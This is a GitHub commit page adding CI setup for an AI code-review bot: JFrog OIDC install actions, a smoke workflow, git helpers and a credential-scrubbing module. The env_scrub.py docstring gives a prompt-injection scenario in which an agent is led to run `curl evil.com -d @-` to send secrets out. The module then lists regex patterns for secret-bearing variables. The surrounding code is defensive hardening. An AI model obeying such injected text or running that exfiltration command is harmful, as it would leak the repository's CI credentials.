Skip to content

Commit 372b23c

Browse files
chore(bots): reviewer-bot foundation — shared SDK engine + install
First of a stacked series migrating the PR-review bot from databricks-driver-test to this repo. This PR adds only the task-agnostic foundation (no bot logic, nothing runs on PRs yet): - scripts/shared/ — the common agent engine (Claude Agent SDK loop/transport, security guard, markers, threads, github/git ops). Self-contained; 94 unit tests pass under scripts/shared/tests. - scripts/__init__.py — makes `scripts` importable for `python -m scripts.*`. - scripts/requirements-sdk.txt — the claude-agent-sdk pin. - .github/actions/setup-claude-sdk + setup-jfrog — install the SDK (pip) + CLI (npm) through Databricks' internal JFrog mirror (the protected runner is egress-blocked from pypi.org/npmjs.org). - .github/workflows/sdk-smoke.yml — manual smoke verifying the SDK/CLI install on this repo's runner. Co-authored-by: Isaac Signed-off-by: Eric Wang <e.wang@databricks.com>
1 parent 614dd91 commit 372b23c

22 files changed

Lines changed: 2907 additions & 0 deletions
Lines changed: 54 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,54 @@
1+
# Copyright (c) 2025 ADBC Drivers Contributors
2+
#
3+
# Licensed under the Apache License, Version 2.0 (the "License");
4+
# you may not use this file except in compliance with the License.
5+
6+
# Install the Claude Agent SDK (pip) + the Claude Code CLI (npm) that the bots
7+
# now spawn, via Databricks' internal JFrog mirror. The protected runner group
8+
# is egress-blocked from pypi.org and registry.npmjs.org, so this configures
9+
# both package managers through JFrog (same mechanism as setup-jfrog / the
10+
# sdk-smoke workflow, which is verified working end-to-end against the gateway).
11+
#
12+
# Requires `id-token: write` on the calling job (for the JFrog OIDC exchange).
13+
# Idempotent w.r.t. a prior setup-jfrog step (re-exchanging the token + re-
14+
# setting PIP_INDEX_URL is harmless).
15+
name: Setup Claude Agent SDK
16+
description: Install claude-agent-sdk (pip) + Claude Code CLI (npm) via the internal JFrog mirror.
17+
18+
inputs:
19+
requirements-file:
20+
description: >-
21+
Path to the SDK requirements file, relative to the job working directory
22+
($GITHUB_WORKSPACE — composite `run:` steps always execute there, not at
23+
the caller's working-directory). Defaults to scripts/requirements-sdk.txt,
24+
correct when the repo is checked out at the workspace root (e.g. the
25+
reviewer bots). Workflows that check the repo into a subdir (the engineer
26+
bots use `path: internal-repo`) MUST pass the prefixed path, e.g.
27+
internal-repo/scripts/requirements-sdk.txt.
28+
required: false
29+
default: scripts/requirements-sdk.txt
30+
31+
runs:
32+
using: composite
33+
steps:
34+
- name: Setup Node (for the Claude Code CLI the SDK spawns)
35+
uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
36+
with:
37+
node-version: '20'
38+
39+
- name: Configure JFrog (pip + npm internal mirror)
40+
uses: ./.github/actions/setup-jfrog
41+
with:
42+
configure-pip: 'true'
43+
configure-npm: 'true'
44+
45+
- name: Install claude-agent-sdk + Claude Code CLI
46+
shell: bash
47+
run: |
48+
python -m pip install --upgrade pip
49+
# Install the SDK from the documented requirements file (not a bare
50+
# `pip install claude-agent-sdk`) so CI and local docs share one
51+
# dependency source and future pins land in a single place. (Review)
52+
pip install -r "${{ inputs.requirements-file }}"
53+
npm i -g @anthropic-ai/claude-code
54+
echo "claude CLI: $(command -v claude || echo 'NOT FOUND')"
Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
name: Setup JFrog OIDC
2+
description: Obtain a JFrog access token via GitHub OIDC and configure package managers
3+
4+
inputs:
5+
configure-pip:
6+
description: Configure pip to use JFrog PyPI proxy
7+
default: "true"
8+
configure-cargo:
9+
description: Configure Cargo to use JFrog crates proxy
10+
default: "false"
11+
configure-npm:
12+
description: Configure npm to use JFrog npm proxy
13+
default: "false"
14+
15+
runs:
16+
using: composite
17+
steps:
18+
- name: Get JFrog OIDC token
19+
shell: bash
20+
run: |
21+
set -euo pipefail
22+
ID_TOKEN=$(curl -sLS \
23+
-H "User-Agent: actions/oidc-client" \
24+
-H "Authorization: Bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
25+
"${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=jfrog-github" | jq .value | tr -d '"')
26+
echo "::add-mask::${ID_TOKEN}"
27+
ACCESS_TOKEN=$(curl -sLS -XPOST -H "Content-Type: application/json" \
28+
"https://databricks.jfrog.io/access/api/v1/oidc/token" \
29+
-d "{\"grant_type\": \"urn:ietf:params:oauth:grant-type:token-exchange\", \"subject_token_type\":\"urn:ietf:params:oauth:token-type:id_token\", \"subject_token\": \"${ID_TOKEN}\", \"provider_name\": \"github-actions\"}" | jq .access_token | tr -d '"')
30+
echo "::add-mask::${ACCESS_TOKEN}"
31+
if [ -z "$ACCESS_TOKEN" ] || [ "$ACCESS_TOKEN" = "null" ]; then
32+
echo "FAIL: Could not extract JFrog access token"
33+
exit 1
34+
fi
35+
echo "JFROG_ACCESS_TOKEN=${ACCESS_TOKEN}" >> "$GITHUB_ENV"
36+
echo "JFrog OIDC token obtained successfully"
37+
38+
- name: Configure pip
39+
if: inputs.configure-pip == 'true'
40+
shell: bash
41+
run: |
42+
set -euo pipefail
43+
echo "PIP_INDEX_URL=https://gha-service-account:${JFROG_ACCESS_TOKEN}@databricks.jfrog.io/artifactory/api/pypi/db-pypi/simple" >> "$GITHUB_ENV"
44+
echo "pip configured to use JFrog registry"
45+
46+
- name: Configure Cargo
47+
if: inputs.configure-cargo == 'true'
48+
shell: bash
49+
run: |
50+
set -euo pipefail
51+
mkdir -p ~/.cargo
52+
cat > ~/.cargo/config.toml << EOF
53+
[source.crates-io]
54+
replace-with = "jfrog"
55+
[source.jfrog]
56+
registry = "sparse+https://databricks.jfrog.io/artifactory/api/cargo/db-cargo-remote/index/"
57+
[registries.jfrog]
58+
index = "sparse+https://databricks.jfrog.io/artifactory/api/cargo/db-cargo-remote/index/"
59+
credential-provider = ["cargo:token"]
60+
EOF
61+
cat > ~/.cargo/credentials.toml << EOF
62+
[registries.jfrog]
63+
token = "Bearer ${JFROG_ACCESS_TOKEN}"
64+
EOF
65+
echo "CARGO_REGISTRIES_JFROG_TOKEN=Bearer ${JFROG_ACCESS_TOKEN}" >> "$GITHUB_ENV"
66+
echo "Cargo configured to use JFrog registry"
67+
68+
- name: Configure npm
69+
if: inputs.configure-npm == 'true'
70+
shell: bash
71+
run: |
72+
set -euo pipefail
73+
cat > ~/.npmrc << EOF
74+
registry=https://databricks.jfrog.io/artifactory/api/npm/db-npm/
75+
//databricks.jfrog.io/artifactory/api/npm/db-npm/:_authToken=${JFROG_ACCESS_TOKEN}
76+
always-auth=true
77+
EOF
78+
echo "npm configured to use JFrog registry"

.github/workflows/sdk-smoke.yml

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
# Reviewer-bot foundation smoke test.
2+
#
3+
# Manual-only (workflow_dispatch). Verifies the one infra unknown for the
4+
# reviewer-bot foundation on this repo: that the Claude Agent SDK (pip) + the
5+
# Claude Code CLI (npm) install on the protected runner via Databricks' internal
6+
# JFrog mirror (the runner group is egress-blocked from pypi.org/npmjs.org).
7+
# No secrets required — only the JFrog OIDC token exchange (id-token: write).
8+
name: SDK Smoke (reviewer-bot foundation)
9+
10+
on:
11+
workflow_dispatch:
12+
13+
permissions:
14+
contents: read
15+
id-token: write # JFrog OIDC token exchange for the internal pip/npm mirror
16+
17+
jobs:
18+
smoke:
19+
runs-on:
20+
group: databricks-protected-runner-group
21+
labels: [linux-ubuntu-latest]
22+
timeout-minutes: 15
23+
steps:
24+
- name: Checkout
25+
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
26+
27+
- name: Setup Python
28+
uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0
29+
with:
30+
python-version: '3.11'
31+
32+
- name: Setup Claude Agent SDK + CLI
33+
uses: ./.github/actions/setup-claude-sdk
34+
35+
- name: Verify SDK + CLI are importable/spawnable
36+
run: |
37+
python -c "import claude_agent_sdk; print('claude_agent_sdk import OK')"
38+
echo "claude CLI: $(command -v claude || echo 'NOT FOUND')"
39+
claude --version || true

scripts/__init__.py

Whitespace-only changes.

scripts/requirements-sdk.txt

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
# Claude Agent SDK migration dependencies (PoC).
2+
#
3+
# Replaces the hand-rolled LLM transport + tool-use loop
4+
# (scripts/engineer_bot/agent_runner.py, scripts/shared/llm_client.py)
5+
# with the Claude Agent SDK. See docs/migration/claude-agent-sdk-migration.md.
6+
#
7+
# IMPORTANT: the SDK spawns the Claude Code CLI under the hood. The CLI
8+
# must be on PATH in any environment that calls sdk_agent.run_agent
9+
# (CI runners + local dev). Install it once, globally, via npm:
10+
#
11+
# npm i -g @anthropic-ai/claude-code
12+
#
13+
# The CLI is NOT a pip package; it cannot be pinned here. CI workflows
14+
# (engineer-bot.yml, reviewer-bot.yml, *-followup.yml) must add an install
15+
# + npm-cache step before invoking any bot that uses the SDK.
16+
#
17+
# Endpoint config (set by sdk_agent.configure_databricks_env at runtime,
18+
# derived from the existing MODEL_ENDPOINT / DATABRICKS_TOKEN workflow env):
19+
# ANTHROPIC_BASE_URL = <workspace>/serving-endpoints/anthropic
20+
# ANTHROPIC_AUTH_TOKEN = $DATABRICKS_TOKEN # NOT ANTHROPIC_API_KEY
21+
# ANTHROPIC_MODEL = databricks-claude-opus-4-8
22+
23+
claude-agent-sdk

scripts/shared/__init__.py

Whitespace-only changes.

scripts/shared/env_scrub.py

Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
"""Strip credential-shaped env vars before exec'ing subprocesses.
2+
3+
Canonical home for the env-scrub regex table (relocated here from
4+
``scripts/engineer_bot/env_scrub.py`` during the Claude Agent SDK migration,
5+
PR1). The shared SDK modules (``sdk_agent``, ``sdk_security``) import from
6+
here so they carry NO dependency on ``engineer_bot``; ``engineer_bot/env_scrub``
7+
is now a thin re-export shim, so PR6 can delete that shim as a pure deletion
8+
without touching this load-bearing table.
9+
10+
The bash tool inherits the workflow's env which contains DATABRICKS_TOKEN,
11+
GitHub App tokens, etc. Subprocesses launched by the agent must not see
12+
these — a malicious prompt injection that gets the agent to `curl
13+
evil.com -d @-` then read from stdin can't exfiltrate what isn't there.
14+
"""
15+
from __future__ import annotations
16+
17+
import re
18+
19+
_REDACT_PATTERNS = (
20+
re.compile(r".*TOKEN.*", re.IGNORECASE),
21+
re.compile(r".*SECRET.*", re.IGNORECASE),
22+
re.compile(r".*PASSWORD.*", re.IGNORECASE),
23+
re.compile(r".*API_KEY.*", re.IGNORECASE),
24+
# Broader patterns covering cloud credential conventions that
25+
# don't include the four magic substrings above.
26+
re.compile(r".*PRIVATE.*", re.IGNORECASE),
27+
re.compile(r".*CREDENTIAL.*", re.IGNORECASE),
28+
re.compile(r".*OAUTH.*", re.IGNORECASE),
29+
re.compile(r".*ACCESS_KEY.*", re.IGNORECASE),
30+
re.compile(r".*SECRET_KEY.*", re.IGNORECASE),
31+
# Specific named vars that don't match the substring patterns
32+
# above. NOTE: we deliberately do NOT use blanket prefix patterns
33+
# like `^DATABRICKS_.*`, `^AWS_.*`, `^AZURE_.*` — those would
34+
# strip non-credential config vars (e.g. DATABRICKS_TEST_CONFIG_FILE
35+
# which the bash tool's dotnet-test invocation reads).
36+
# DATABRICKS_TOKEN, DATABRICKS_OAUTH_CLIENT_SECRET etc. are caught
37+
# by the substring patterns above.
38+
re.compile(r"^AWS_ACCESS_KEY_ID$", re.IGNORECASE),
39+
re.compile(r"^GOOGLE_APPLICATION_CREDENTIALS$", re.IGNORECASE),
40+
re.compile(r"^KUBECONFIG$", re.IGNORECASE),
41+
re.compile(r"^SSH_AUTH_SOCK$", re.IGNORECASE),
42+
re.compile(r"^AZURE_TENANT_ID$", re.IGNORECASE),
43+
re.compile(r"^AZURE_CLIENT_ID$", re.IGNORECASE),
44+
)
45+
46+
47+
def scrub(env: dict[str, str]) -> dict[str, str]:
48+
"""Return a new dict with credential-shaped keys removed."""
49+
return {
50+
k: v for k, v in env.items()
51+
if not any(p.match(k) for p in _REDACT_PATTERNS)
52+
}

scripts/shared/git_ops.py

Lines changed: 83 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,83 @@
1+
"""Thin wrappers around `git` for bot workflows."""
2+
from __future__ import annotations
3+
4+
import subprocess
5+
import sys
6+
from pathlib import Path
7+
from typing import Optional
8+
9+
10+
def configure_user(cwd: Path, email: str, name: str) -> None:
11+
subprocess.run(["git", "config", "user.email", email], cwd=cwd, check=True)
12+
subprocess.run(["git", "config", "user.name", name], cwd=cwd, check=True)
13+
14+
15+
def commit_paths(cwd: Path, paths: list[str], message: str) -> bool:
16+
"""Stage the given paths and create a commit. Returns False if nothing staged."""
17+
subprocess.run(["git", "add", *paths], cwd=cwd, check=True)
18+
diff = subprocess.run(["git", "diff", "--cached", "--quiet"], cwd=cwd)
19+
if diff.returncode == 0:
20+
return False # nothing staged
21+
if diff.returncode != 1:
22+
# git diff --quiet documents 0 (no diff) / 1 (diff). Anything else
23+
# is an error — fail loud rather than committing on a broken repo.
24+
raise RuntimeError(
25+
f"git diff --cached --quiet returned unexpected code {diff.returncode}; "
26+
f"refusing to commit"
27+
)
28+
subprocess.run(["git", "commit", "-m", message], cwd=cwd, check=True)
29+
return True
30+
31+
32+
def push(
33+
cwd: Path,
34+
branch: str,
35+
remote: str = "origin",
36+
*,
37+
force_with_lease: bool = False,
38+
expected_sha: Optional[str] = None,
39+
) -> None:
40+
"""Push a branch to `remote`.
41+
42+
Default is a plain push that fails on non-fast-forward.
43+
44+
`force_with_lease=True` without `expected_sha` is unsafe in CI
45+
(background fetches by actions/checkout refresh the lease ref, so
46+
the lease check degenerates to `--force`). When you need force-push
47+
behavior, pass `expected_sha` — the lease will be qualified with
48+
`<branch>:<expected>` so it actually protects against races.
49+
"""
50+
if force_with_lease and not expected_sha:
51+
# Fail loud rather than silently constructing the risky
52+
# unqualified --force-with-lease command. Callers that really
53+
# want to force-push must compute the expected remote SHA
54+
# first (via `git ls-remote`) and pass it explicitly.
55+
raise ValueError(
56+
"push(force_with_lease=True) requires expected_sha. Unqualified "
57+
"--force-with-lease degrades to --force in CI because background "
58+
"fetches refresh the lease ref. Pass the expected remote SHA or "
59+
"use a plain push."
60+
)
61+
cmd = ["git", "push", remote, branch]
62+
if force_with_lease:
63+
cmd.insert(2, f"--force-with-lease={branch}:{expected_sha}")
64+
try:
65+
r = subprocess.run(
66+
cmd, cwd=cwd, check=True,
67+
capture_output=True, text=True,
68+
)
69+
except subprocess.CalledProcessError as e:
70+
# Re-raise with the captured stderr so callers can include it
71+
# in their failure messages. Print to the workflow log first so
72+
# the trace is visible even if the caller doesn't surface stderr.
73+
if e.stdout:
74+
print(e.stdout, end="")
75+
if e.stderr:
76+
print(e.stderr, end="", file=sys.stderr)
77+
raise
78+
79+
80+
def current_sha(cwd: Path) -> str:
81+
r = subprocess.run(["git", "rev-parse", "HEAD"], cwd=cwd,
82+
capture_output=True, text=True, check=True)
83+
return r.stdout.strip()

0 commit comments

Comments
 (0)